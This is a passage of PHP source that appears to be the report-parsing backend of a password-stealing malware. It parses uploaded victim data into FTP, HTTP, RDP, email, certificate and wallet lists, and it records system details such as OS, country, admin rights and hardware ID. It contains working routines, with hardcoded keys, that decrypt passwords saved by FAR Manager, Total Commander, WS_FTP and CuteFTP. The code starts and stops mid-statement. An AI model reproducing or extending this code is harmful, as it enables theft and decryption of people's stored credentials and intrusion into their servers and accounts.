data = $data; $this->datalen = strlen($this->data); $this->state = true; $this->log = $log; } // write the first error message only to avoid log garbage protected function push_error($error_msg) { $this->state = false; if ($this->push_error_state) { $this->log->add($error_msg); $this->push_error_state = false; } } function read_skip($len) { if (($this->pos + $len > $this->datalen) || !$this->state || $len < 0) { $this->push_error("ERR_SKIP_FAIL"); return false; } $this->pos += $len; return true; } function read_byte() { if ((($this->pos + 1) > $this->datalen) || !$this->state) { $this->push_error("ERR_BYTE_READ_FAIL"); return false; } $p = $this->pos; $this->pos += 1; return (int)ord($this->data[$p]); } function read_word() { if ((($this->pos + 2) > $this->datalen) || !$this->state) { $this->push_error("ERR_WORD_READ_FAIL"); return false; } $unpacked_word = unpack('v', substr($this->data, $this->pos, 2)); $this->pos += 2; return $unpacked_word[1]; } function read_dword() { if (($this->pos + 4 > $this->datalen) || !$this->state) { $this->push_error("ERR_DWORD_READ_FAIL"); return false; } $p = $this->pos; $this->pos += 4; return data_int32(substr($this->data, $p, 4)); } function read_strlen($len) { if (($this->pos + $len > $this->datalen) || !$this->state || $len < 0) { $this->push_error("ERR_STRLEN_READ_FAIL"); return false; } // empty string if (!$len) return ""; $p = $this->pos; $this->pos += $len; return substr($this->data, $p, $len); } // len (dword) + string function read_str() { $len = $this->read_dword(); if (!$this->state || $len < 0) { $this->push_error("ERR_STR_READ_FAIL"); return false; } // empty string if (!$len) return ""; if (($this->pos + $len > $this->datalen)) { $this->push_error("ERR_STR_READ_FAIL"); return false; } $r = substr($this->data, $this->pos, $len); $this->pos += $len; return $r; } function eof() { if (!$this->state) return false; return $this->pos >= $this->datalen; } function seek($new_pos) { if (!$this->state) return false; if ($new_pos > $this->datalen || $new_pos < 0) { $this->push_error("ERR_SEEK_FAIL"); return false; } else { $this->pos = $new_pos; return true; } } } // base class for all password module descendants abstract class module { protected $stream; protected $log; protected $options = array(); public $ftp_list = array(); public $http_list = array(); public $rdp_list = array(); public $cert_list = array(); public $email_list = array(); public $wallet_list = array(); function __construct($stream, $log, $options = '') { $this->stream = $stream; $this->log = $log; if (is_array($options)) $this->options = $options; } // can be used (overloaded) by descendants to simplify data importing protected function import_item($stream, $id) { return false; } // import binary data public function import_data($module_len) { $module_end_pos = (int)$this->stream->pos + (int)$module_len; // process data untill module stream end while ($this->stream->pos < $module_end_pos) { // data item identifier dword $id = $this->stream->read_dword(); // higher 2 bytes are used as a header for data consistency check if ((int)($id & REPORT_ITEMHDR_ID) != (int)REPORT_ITEMHDR_ID) { $this->log->add("ERR_INVALID_ITEMHDR"); // this is really bad return false; } // filter item identifier $id = (int)$id & 0xffff; if (!$this->import_item($this->stream, $id)) return false; } // if data was imported successfully, current and predicted positions should match return ((int)$module_end_pos == (int)$this->stream->pos); } // build ftp line private function build_url_line($scheme, $user, $pass, $host, $port, $path, $http_mode) { if ((!is_valid_host($host) && !is_valid_ip_filter($host)) || !strlen($user) || !strlen($pass) || !strlen($scheme)) return ""; if ((strtolower($scheme) == 'sftp') && (assign($this->options['sftp_protocol']) == '1')) $line = "sftp://".$user.":".$pass; else if (strtolower($scheme) == 'http' && $http_mode) $line = "http://".$user.":".$pass; else if (strtolower($scheme) == 'https' && $http_mode) $line = "https://".$user.":".$pass; else { if ($http_mode) $line = "http://".$user.":".$pass; else { if (($port == 22) && (assign($this->options['sftp_port']) == '1')) $line = "sftp://".$user.":".$pass; else { if (($user == 'root') && (assign($this->options['sftp_user']) == '1')) $line = "sftp://".$user.":".$pass; else $line = "ftp://".$user.":".$pass; } } } $line .= "@".$host; $port = strval($port); if (strlen($port) && is_num($port)) $line .= ":".$port; if (strlen($path) && ($path[0] == "/") && ($path != "/")) $line .= $path; return $line; } // add ftp line into $ftp_list // apply data filter before addition protected function insert_ftp_line($ftp_formatted_value) { $ftp_formatted_value = trim($ftp_formatted_value); if (strlen($ftp_formatted_value) == 0) return; // filter ftp fully formatted lines global $global_filter_list, $global_allow_all_ftp; foreach ($global_filter_list as $filter_line) { if (stripos($ftp_formatted_value, $filter_line) !== false) if (!$global_allow_all_ftp) return; } array_push($this->ftp_list, $ftp_formatted_value); } // add http line into $http_list // apply data filter before addition protected function insert_http_line($http_formatted_value) { $http_formatted_value = trim($http_formatted_value); if (strlen($http_formatted_value) == 0) return; // filter ftp fully formatted lines global $global_filter_list, $global_allow_all_ftp; foreach ($global_filter_list as $filter_line) { if (stripos($http_formatted_value, $filter_line) !== false) if (!$global_allow_all_ftp) return; } array_push($this->http_list, $http_formatted_value); } // process ftp/http(s) URL // http_mode - process url as http(s) line (http://user:pass@host.com) protected function add_ftp($url, $extra_user = "", $extra_pass = "", $http_mode = false) { // check stream state if (!$this->stream->state) return false; // empty host $url = trim($url); if (strlen($url) == 0 || strtolower($url) == 'ftp://' || strtolower($url) == 'ftps://' || strtolower($url) == 'ftpes://' || strtolower($url) == 'sftp://' || strtolower($url) == 'esftp://' || strtolower($url) == 'http://' || strtolower($url) == 'https://' || strtolower($url) == 'sftp://:22') return false; // do not process FTP URIs without user/pass stored $extra_user = trim($extra_user); $extra_pass = trim($extra_pass); if ((strpos($url, '@') === false) && (!strlen(trim($extra_pass)) && (!strlen(trim($extra_user))))) { global $global_allow_all_ftp; if (!$global_allow_all_ftp) return false; } // strip protocol value for $url_protocol = ''; if (($p = strpos($url, "://")) !== false) { $url_protocol = substr($url, 0, $p+3); $url = substr($url, $p+3); } // fix '#' chars in URL $url = str_replace("#", '_thisissuberurlharacter_', $url); // fix URL path slashes '\' -> '/' // fix '/' chars in user:password values $p = strrpos($url, "@"); if ($p !== false) { // do not replace slashes inside username:password values $v1 = str_replace("/", '_thisissuperunreadablecharacter_', substr($url, 0, $p)); // replace '//' -> '/' in directory path $v2 = str_replace("//", "/", str_replace("\\", "/", substr($url, $p))); $url = $v1.$v2; } else { // plain url, no user:password@ stored // replace '\' -> '/' // replace '//' -> '/' in directory path $url = str_replace('//', '/', str_replace("\\", "/", $url)); } $url = $url_protocol.$url; // no protocol specified, assume it's an ftp:// | http:// if (strpos($url, "://") === false) { if ($http_mode) $url = "http://".$url; else $url = "ftp://".$url; } // fix ftp:/// urls $url = str_replace('ftp:///', 'ftp://', $url); $r = @parse_url($url); if (is_array($r)) foreach ($r as $key=>$value) { $r[$key] = str_replace('_thisissuperunreadablecharacter_', '/', $r[$key]); $r[$key] = str_replace('_thisissuberurlharacter_', '#', $r[$key]); // remove everything after # char in host & path parts if (($key == 'host' || $key == 'path') && strpos($r[$key], '#') !== false) { $r[$key] = substr($r[$key], 0, strpos($r[$key], '#')); } } if ($r && nonempty($r["host"]) && (is_valid_host($r["host"]) || is_valid_ip_filter($r["host"]))) { $r["scheme"] = strtolower(assign($r["scheme"])); if (($r["scheme"] == "ftp") || ($r["scheme"] == "ftps") || ($r["scheme"] == "ftpes") || ($r["scheme"] == "sftp") || ($r["scheme"] == "esftp") || ($r["scheme"] == "http" && $http_mode == true) || ($r["scheme"] == "https" && $http_mode == true) ) { // specified port $port = ""; if (nonempty($r["port"]) && is_num($r["port"])) $port = $r["port"]; if ($http_mode == false && $port == "21") $port = ""; if ($http_mode == true && $port == "80") $port = ""; // specified remote ftp directory (path) $path = assign($r["path"]); // format the output string // ftp with URL encoded user:password $line = ""; if (nonempty($r["user"]) && nonempty($r["pass"])) $line = $this->build_url_line($r["scheme"], $r["user"], $r["pass"], $r["host"], $port, $path, $http_mode); if (strlen($line)) { if ($http_mode) $this->insert_http_line($line); else $this->insert_ftp_line($line); } // ftp with extra user:passwords arguments $line = ""; if (strlen($extra_user) && strlen($extra_pass)) $line = $this->build_url_line($r["scheme"], $extra_user, $extra_pass, $r["host"], $port, $path, $http_mode); if (!strlen($extra_user) && strlen($extra_pass) && nonempty($r["user"])) $line = $this->build_url_line($r["scheme"], $r['user'], $extra_pass, $r["host"], $port, $path, $http_mode); if ($line) { if ($http_mode) $this->insert_http_line($line); else $this->insert_ftp_line($line); } return true; } else { if (trim($r['scheme']) !== '') $this->log->add("NOTIFY_INVALID_URL_SCHEME: ".$r["scheme"]); } } elseif (!$r) { // revert fixed characters $url = str_replace('_thisissuperunreadablecharacter_', '/', $url); $url = str_replace('_thisissuberurlharacter_', '#', $url); $this->log->add("NOTIFY_CANNOT_PARSE_URL: $url"); } return false; } protected function add_http($url, $extra_user = "", $extra_pass = "") { $this->add_ftp($url, $extra_user, $extra_pass, true); } protected function add_rdp($server, $user, $pass) { global $global_filter_list; $server = trim($server); $user = trim($user); $pass = trim($pass); if ((!is_valid_host($server) && !is_valid_ip_filter($server)) || !strlen($server) || !strlen($user) || !strlen($pass)) { return; } $rdp_formatted_value = 'rdp://'.$user.':'.$pass.'@'.$server; foreach ($global_filter_list as $filter_line) { if (stripos($rdp_formatted_value, $filter_line) !== false) { global $global_allow_all_ftp; if (!$global_allow_all_ftp) return; } } array_push($this->rdp_list, $rdp_formatted_value); } protected function add_cert($cert, $pvt_key) { if (strlen($cert) && strlen($pvt_key)) { array_push($this->cert_list, array($cert, $pvt_key)); } } protected function add_wallet($wallet_file) { if (strlen($wallet_file)) { array_push($this->wallet_list, $wallet_file); } } protected function add_email($email, $protocol, $server, $port, $user, $pass) { $email = trim($email); $protocol = strtolower(trim($protocol)); $server = trim($server); $user = trim($user); $pass = trim($pass); $port = trim($port); $port = strval(intval($port)); if ($port == '0') { $port = ''; } // validate protocol if ($protocol != 'smtp' && $protocol != 'imap' && $protocol != 'pop3' && $protocol != 'http') { return false; } // do not allow empty values if (!strlen($email) || !strlen($server) || !strlen($user) || !strlen($pass)) { return false; } // validate email address if (!is_valid_email($email)) { return false; } // check if port is stored in server value $port_pos = strpos($server, ':'); $stored_port = ''; if ($port_pos !== false) { if ($port == '') { $port = strval(intval(trim(substr($server, $port_pos+1)))); if ($port == '0') $port = ''; } else { $stored_port = strval(intval(trim(substr($server, $port_pos+1)))); if ($stored_port == '0') $stored_port = ''; } // cut stored port $server = substr($server, 0, $port_pos); } // validate server host/ip if (!is_valid_host($server) && !is_valid_ip_filter($server)) { return false; } // do not store default port value switch ($protocol) { case 'smtp': if ($port == '25') $port = ''; if ($stored_port == '25') $stored_port = ''; break; case 'imap': if ($port == '143') $port = ''; if ($stored_port == '143') $stored_port = ''; break; case 'pop3': if ($port == '110') $port = ''; if ($stored_port == '110') $stored_port = ''; break; case 'http': if ($port == '80') $port = ''; if ($stored_port == '80') $stored_port = ''; break; } array_push($this->email_list, array('email'=>$email, 'protocol'=>$protocol, 'server'=>$server, 'port'=>$port, 'user'=>$user, 'pass'=>$pass)); if (strlen($stored_port)) { array_push($this->email_list, array('email'=>$email, 'protocol'=>$protocol, 'server'=>$server, 'port'=>$stored_port, 'user'=>$user, 'pass'=>$pass)); } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // System Information class module_systeminfo extends module { public $os_name; public $is_win64; public $user_country; public $user_language; public $is_admin; public $hwid; protected function detect_os($version_info, $system_info) { if (strlen($version_info) <= 4) return false; if (strlen($system_info) == 36) { $system_info_stream = new stream($system_info, $this->log); $wProcessorArchitecture = $system_info_stream->read_word(); } else $wProcessorArchitecture = 0; $info_stream = new stream($version_info, $this->log); $dwOSVersionInfoSize = $info_stream->read_dword(); if ($dwOSVersionInfoSize != strlen($version_info)) { return false; } $dwMajorVersion = $info_stream->read_dword(); $dwMinorVersion = $info_stream->read_dword(); /*$dwBuildNumber = */$info_stream->read_dword(); $dwPlatformId = $info_stream->read_dword(); $szCSDVersion = $info_stream->read_strlen(128); $wServicePackMajor = $info_stream->read_word(); /*$wServicePackMinor = */$info_stream->read_word(); /*$wSuiteMask = */$info_stream->read_word(); $wProductType = $info_stream->read_byte(); /*$wReserved = */ $info_stream->read_byte(); $os_name = 'Windows'; switch ($dwMajorVersion) { case 3: if ($dwMinorVersion == 51) $os_name .= ' NT 3.51'; break; case 4: switch ($dwMinorVersion) { case 0: if ($dwPlatformId == VER_PLATFORM_WIN32_NT) $os_name .= ' NT 4.0'; else { $os_name .= ' 95'; if ($szCSDVersion[1] == 'C' || $szCSDVersion[1] == 'B') $os_name .= ' OSR2'; } break; case 10: $os_name .= ' 98'; if ($szCSDVersion[1] == 'A') $os_name .= ' SE'; break; case 90: $os_name .= ' Me'; break; } break; case 5: switch ($dwMinorVersion) { case 0: $os_name .= ' 2000'; break; case 1: $os_name .= ' XP'; break; case 2: if ($wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 && $wProductType == VER_NT_WORKSTATION) $os_name .= ' XP'; // Windows XP Professional x64 Edition else $os_name .= ' Server 2003'; break; } break; case 6: switch ($dwMinorVersion) { case 0: if ($wProductType == VER_NT_WORKSTATION) $os_name .= ' Vista'; else $os_name .= ' Server 2008'; break; case 1: if ($wProductType == VER_NT_WORKSTATION) $os_name .= ' 7'; else $os_name .= ' Server 2008 R2'; break; case 2: $os_name .= ' 8'; break; } break; } if ($dwPlatformId == VER_PLATFORM_WIN32_NT) { //$csd = ztrim($szCSDVersion); //if ($csd) //{ // $os_name .= ' '.$csd; //} if ($wServicePackMajor > 0) { $os_name .= ' SP '.strval($wServicePackMajor); } } return trim($os_name); } protected function process_hwid($HwProfileInfo) { return trim(ztrim(substr($HwProfileInfo, 4))); } protected function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0001: $version_info = $stream->read_str(); $this->is_win64 = $stream->read_dword(); $this->user_country = $stream->read_str(); $this->user_language = $stream->read_str(); $this->is_admin = $stream->read_dword(); $this->hwid = $this->process_hwid($stream->read_str()); if ($id > 0) { $system_info = $stream->read_str(); } else $system_info = ''; $this->os_name = $this->detect_os($version_info, $system_info); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FAR Manager class module_far extends module { protected function Dos2Win($text) { $CTable = array( 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F, 0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F, 0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F, 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F, 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F, 0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F, 0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x7F, 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF, 0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF, 0xB0,0xB1,0xB2,0xA6,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xAC, 0xC0,0xC1,0xC2,0xC3,0xC4,0x86,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF, 0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0x87,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, 0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xB5,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF, 0xA8,0xB8,0xAA,0xBA,0xAF,0xBF,0xA1,0xA2,0xB0,0xF9,0xB7,0xFB,0xB9,0xA4,0xFE,0xA0 ); for ($i = 0; $i < strlen($text); $i++) $text[$i] = chr($CTable[ord($text[$i])]); return $text; } protected function decrypt($pass) { if (strlen($pass) < 3) return ""; $result = ""; $key = ord($pass[0]) ^ ord($pass[1]) | 0x50; for ($i = 2; $i < strlen($pass); $i++) { if (ord($pass[$i]) == 0) break; $result .= chr(ord($pass[$i]) ^ $key); } return $result; } protected function import_item($stream, $id) { switch ($id) { case 0x0000: // saved plugin passwords $host = $this->dos2win($stream->read_str()); $user = $this->dos2win($stream->read_str()); $pass = $this->dos2win($this->decrypt($stream->read_str())); $this->add_ftp($host, $user, $pass); break; case 0x0001: // history $type = $stream->read_dword(); $uri = $stream->read_str(); if (!$stream->state) return false; if ($type == 0) { // REG_SZ $this->add_ftp($uri); } else if($type == 1) { // REG_MULTI_SZ $a = explode(chr(0), $uri); foreach ($a as $line) $this->add_ftp($line); } else { $this->log->add("ERR_UNKNOWN_FAR_HISTORY_TYPE"); return false; } break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Windows/Total Commander class module_wtc extends module { protected function decrypt($pass) { if (strlen($pass) <= 0) return false; if ($pass[0] == "!") { //$this->log->add("NOTIFY_MASTER_PASSWORD_CANNOT_DECRYPT"); return false; } if ((strlen($pass) % 2) != 0 || strlen($pass) <= 4) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return false; } $data = hextostr($pass); if ($data === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return false; } $crc = substr($data, strlen($data)-4); $data = substr($data, 0, -4); $seed = 0xcf671; for ($i = 0; $i < strlen($data); $i++) { $k = myrand(8, $seed); $data[$i] = chr(((ord($data[$i]) << $k) & 0xff | (ord($data[$i]) >> (8-$k)) & 0xff ) & 0xff); } $seed = 0x3039; for ($i = 0; $i < 256; $i++) { $k = myrand(strlen($data), $seed); $p = myrand(strlen($data), $seed); $c = $data[$k]; $data[$k] = $data[$p]; $data[$p] = $c; } $seed = 0xa564; for ($i = 0; $i < strlen($data); $i++) $data[$i] = chr(ord($data[$i]) ^ myrand(0x100, $seed)); $seed = 0xd431; for ($i = 0; $i < strlen($data); $i++) $data[$i] = chr(ord($data[$i]) + 0x100 - myrand(0x100, $seed)); if (crc32b_str($data) != data_int32($crc)) { $this->log->add("ERR_CRC32_PASS_MISMATCH"); return false; } return $data; } protected function import_item($stream, $id) { if ($id != 0x0000) { $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } $parsed_ini = parse_ini($stream->read_str()); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["host"]); $user = assign($section["username"]); $pass = $this->decrypt(assign($section["password"])); $dir = assign($section["directory"]); $this->add_ftp(append_dir($host, $dir), $user, $pass); } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WS_FTP class module_ws_ftp extends module { protected function decrypt($pass) { if (!strlen($pass)) return false; if ($pass[0] == '_') { // new decryption algorithm $data = base64_decode(substr($pass, 1), true); if (!strlen($data)) return false; $des_key = chr(0xE1).chr(0xF0).chr(0xC3).chr(0xD2).chr(0xA5).chr(0xB4).chr(0x87).chr(0x96). chr(0x69).chr(0x78).chr(0x4B).chr(0x5A).chr(0x2D).chr(0x3C).chr(0x0F).chr(0x1E). chr(0x34).chr(0x12).chr(0x78).chr(0x56).chr(0xAB).chr(0x90).chr(0xEF).chr(0xCD); $iv = substr($des_key, 16); $data = mcrypt_decrypt(MCRYPT_3DES, $des_key, $data, MCRYPT_MODE_CBC, $iv); if (!strlen($data)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } return ztrim($data); } else { // old decryption algorithm $offset = 1; $result = ""; $i = 33; while ($i < strlen($pass)-1) { $eax = ord($pass[$i]); if ($eax > 0x39) $eax = _BF_SUB32($eax, 0x37); else $eax = _BF_SUB32($eax, 0x30); $ebx = _BF_SHL32($eax, 4); $eax = ord($pass[$i+1]); if ($eax > 0x39) $eax = _BF_SUB32($eax, 0x37); else $eax = _BF_SUB32($eax, 0x30); $ebx = _BF_ADD32($ebx, $eax); $eax = ord($pass[$offset]) & 0x3f; $ebx = _BF_SUB32(_BF_SUB32($ebx, $eax), $offset-1); $offset++; if ($offset > 33) break; $result .= chr($ebx); $i += 2; } return ztrim($result); } } protected function process_ini($value) { if (!strlen($value)) return; $parsed_ini = parse_ini($value); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; if (nonempty($section["host"]) && nonempty($section["uid"]) && nonempty($section["pwd"])) { // detect connection type $conntype = assign($section["conntype"]); switch ($conntype) { //case "3": $conntype = "ftpes://"; break; case "4": $conntype = "sftp://"; break; //case "5": $conntype = "ftps://"; break; default: $conntype = "ftp://"; break; } $host = strip_quotes($section["host"]); $user = strip_quotes($section["uid"]); $pass = $this->decrypt(strip_quotes($section["pwd"])); $this->add_ftp($conntype.append_port_dir($host, $section["port"], $section["dir"]), $user, $pass); } } } protected function import_item($stream, $id) { if ($id != 0x0000) { $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } $this->process_ini($stream->read_str()); return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CuteFTP Pro/Home/Lite class stream_cute extends stream { public function read_bytestring_unicode() { if (!$this->state) return false; $l = $this->read_byte(); if ($l == 0xff) $l = $this->read_word(); if ($l == 0xffff) $l = $this->read_dword(); return $this->read_strlen($l*2); } public function read_bytestring($is_pass = false) { if (!$this->state) return false; $l = $this->read_byte(); if ($l == 0xff) $l = $this->read_word(); if ($l == 0xfffe) { // unicode $data = $this->read_bytestring_unicode(); if ($is_pass) { $data = module_cuteftp::DecryptPassNew($data, true); } return unicode_to_ansi($data); } if ($l == 0xffff) $l = $this->read_dword(); if ($is_pass) return module_cuteftp::DecryptPassNew($this->read_strlen($l)); else return $this->read_strlen($l); } } class module_cuteftp extends module { private $CuteFTPItem = array(); function handle_host($stream) { if ($stream->state) if (nonempty($this->CuteFTPItem["host"]) && nonempty($this->CuteFTPItem["user"]) && nonempty($this->CuteFTPItem["pass"])) { $this->add_ftp(append_port_dir(ftp_force_ssh($this->CuteFTPItem["host"], assign($this->CuteFTPItem['proto']) == '3'), $this->CuteFTPItem["port"], $this->CuteFTPItem["dir"]), $this->CuteFTPItem["user"], $this->CuteFTPItem["pass"]); } } static function char_swap(&$v, $a, $b) { $t = $v[$a]; $v[$a] = $v[$b]; $v[$b] = $t; } static function DecryptPassNew($pass, $is_unicode = false) { $key = chr(0x32).chr(0x24).chr(0x11).chr(0x52).chr(0x02).chr(0x6F).chr(0x4F).chr(0x78); $iv = chr(0).chr(0).chr(0).chr(0).chr(0).chr(0).chr(0).chr(0); if (!strlen($pass) || ((strlen($pass) % 8) != 0)) return ""; // change endianity for ($i = 0; $i < strlen($pass); $i+=4) { self::char_swap($pass, $i, $i+3); self::char_swap($pass, $i+1, $i+2); } $pass = mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $pass, MCRYPT_MODE_CBC, $iv); if (!strlen($pass)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } // restore endianness for ($i = 0; $i < strlen($pass); $i+=4) { self::char_swap($pass, $i, $i+3); self::char_swap($pass, $i+1, $i+2); } if ($is_unicode) { return ztrim_unicode($pass); } else { return ztrim($pass); } } function DecryptPass($pass) { for ($i = 0; $i < strlen($pass); $i++) $pass[$i] = chr(ord($pass[$i]) ^ 0xc8); return $pass; } function Handle3_4($stream, $Is4) { $this->CuteFTPItem["host"] = $stream->read_bytestring(); $this->CuteFTPItem["user"] = $stream->read_bytestring(); $this->CuteFTPItem["pass"] = $stream->read_bytestring(); if ($Is4 > 1) $this->CuteFTPItem["pass"] = $this->DecryptPass($this->CuteFTPItem["pass"]); $this->CuteFTPItem["dir"] = $stream->read_bytestring(); $stream->read_bytestring(); // LocalFolder $this->CuteFTPItem["port"] = $stream->read_dword(); // Port $stream->read_dword(); // LoginMethod $stream->read_dword(); // TransferType $stream->read_dword(); // HostType $stream->read_dword(); // ConnectionRetries $stream->read_dword(); // RetriesDelay $stream->read_dword(); // MaxIndexSize $stream->read_dword(); // UseLogicalParentDir $stream->read_dword(); // AutoCacheIndex $stream->read_dword(); // UseAutoRenameScheme $stream->read_dword(); // SmartKeepAlive $stream->read_dword(); // Unknown $stream->read_dword(); // SimpleDirListing $stream->read_dword(); // AddSiteToShell $stream->read_dword(); // UsePasvMode $stream->read_dword(); // RenameSchemeType $stream->read_bytestring(); // Description $this->handle_host($stream); $this->CuteFTPItem = array(); $stream->read_dword(); // UseFirewallSettings $stream->read_dword(); // EnableFilter $stream->read_dword(); // Unknown $stream->read_dword(); // Unknown $stream->read_dword(); // SaveSessLogToFile $stream->read_dword(); // CacheSiteResume $unk_subversion = $stream->read_dword(); // Unknown $stream->read_dword(); // ApplyFiltersLocal $stream->read_dword(); // ApplyFiltersRemote $stream->read_dword(); // ApplyFiltersFolder $stream->read_dword(); // EnableRemFilters $stream->read_bytestring(); // RemoteFilter $stream->read_dword(); // ApplyFiltersUploads $stream->read_dword(); // ApplyFiltersDownloads $stream->read_dword(); // ApplyFiltersSiteToSite $stream->read_dword(); // CaseSensitiveFiltering // Filter mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // Filter // Filter NOT mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // NotFilter if ($Is4 > 1) { if ($unk_subversion == 1) { $stream->read_skip(8); } else { $stream->read_dword(); // EnableLocalFilters $stream->read_dword(); // LastSessionStart $stream->read_dword(); // LastSessionEnd } } if ($Is4 == 4) $stream->read_dword(); // CheckFileSizeOnDownl } function Handle65_66($stream, $ver) { $this->CuteFTPItem["host"] = $stream->read_bytestring(); $stream->read_dword(); // LoginMethod $this->CuteFTPItem["user"] = $stream->read_bytestring(); $this->CuteFTPItem["pass"] = $this->DecryptPass($stream->read_bytestring()); $stream->read_bytestring(); // Description $this->CuteFTPItem["proto"] = $stream->read_dword(); // Protocol $this->CuteFTPItem["port"] = $stream->read_dword(); // Port $stream->read_dword(); // ServerType $stream->read_dword(); // DataConnType $stream->read_dword(); // TransferType $this->CuteFTPItem["dir"] = $stream->read_bytestring(); $this->handle_host($stream); $this->CuteFTPItem = array(); $stream->read_bytestring(); // LocalFolder $stream->read_dword(); // CachingOptions $stream->read_dword(); // Unknown $stream->read_dword(); // UpldCaseOptions $stream->read_dword(); // Unknown $stream->read_dword(); // EnableFiltering $stream->read_dword(); // Unknown $stream->read_dword(); // ApplyFiltersToFolders $stream->read_dword(); // EnableRemFilters $stream->read_bytestring(); // RemoteFilter $stream->read_dword(); // Unknown $stream->read_dword(); // ApplyFiltersTransfers $stream->read_dword(); // Unknown $stream->read_dword(); // CaseSensFilters // Filter mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // Filter // Filter NOT mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // NotFilter $stream->read_dword(); // Unknown $stream->read_dword(); // SiteConfOptions $stream->read_dword(); // ApplyAutoRename $stream->read_dword(); // RawListing // Proxy $stream->read_word(); // Unknown $stream->read_bytestring(); // ProxyHost $stream->read_dword(); // ProxyPort $stream->read_bytestring(); // ProxyUser $stream->read_bytestring(); // ProxyPass $stream->read_dword(); // ProxyType $stream->read_dword(); // ProxyUseAuth $stream->read_dword(); // ProxyAuthType $stream->read_bytestring(); // ProxyUser@ // Proxy custom login sequence $FiltCount = $stream->read_word(); // LinesCount for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // SingleLine // Socks $stream->read_word(); // Unknown $stream->read_bytestring(); // SocksHost $stream->read_dword(); // SocksPort $stream->read_bytestring(); // SocksUser $stream->read_bytestring(); // SocksPass $stream->read_dword(); // SocksType $stream->read_dword(); // SocksUseAuth $stream->read_dword(); // ConnRetryAttmps $stream->read_dword(); // ConnRetryDelay if ($ver == 0x66) $stream->read_dword(); // FTPPasswdProtect } function Handle68_69_6c($stream, $Is69) { if ($Is69 >= 0x6c) { // 12 unknown flags $stream->read_dword(); $stream->read_dword(); $stream->read_dword(); } if ($Is69 >= 0x6e) { // 8 unknown flags $stream->read_dword(); $stream->read_dword(); } if ($Is69 >= 0x6f) { // 1 unknown byte flag $stream->read_byte(); } if ($Is69 >= 0x70) { // 1 unknown dword flag $stream->read_dword(); } if ($Is69 >= 0x69) $stream->read_bytestring(); // TimeZone $stream->read_dword(); // MaxConnPerSite $stream->read_dword(); // Flags $this->CuteFTPItem["host"] = $stream->read_bytestring(); $host = 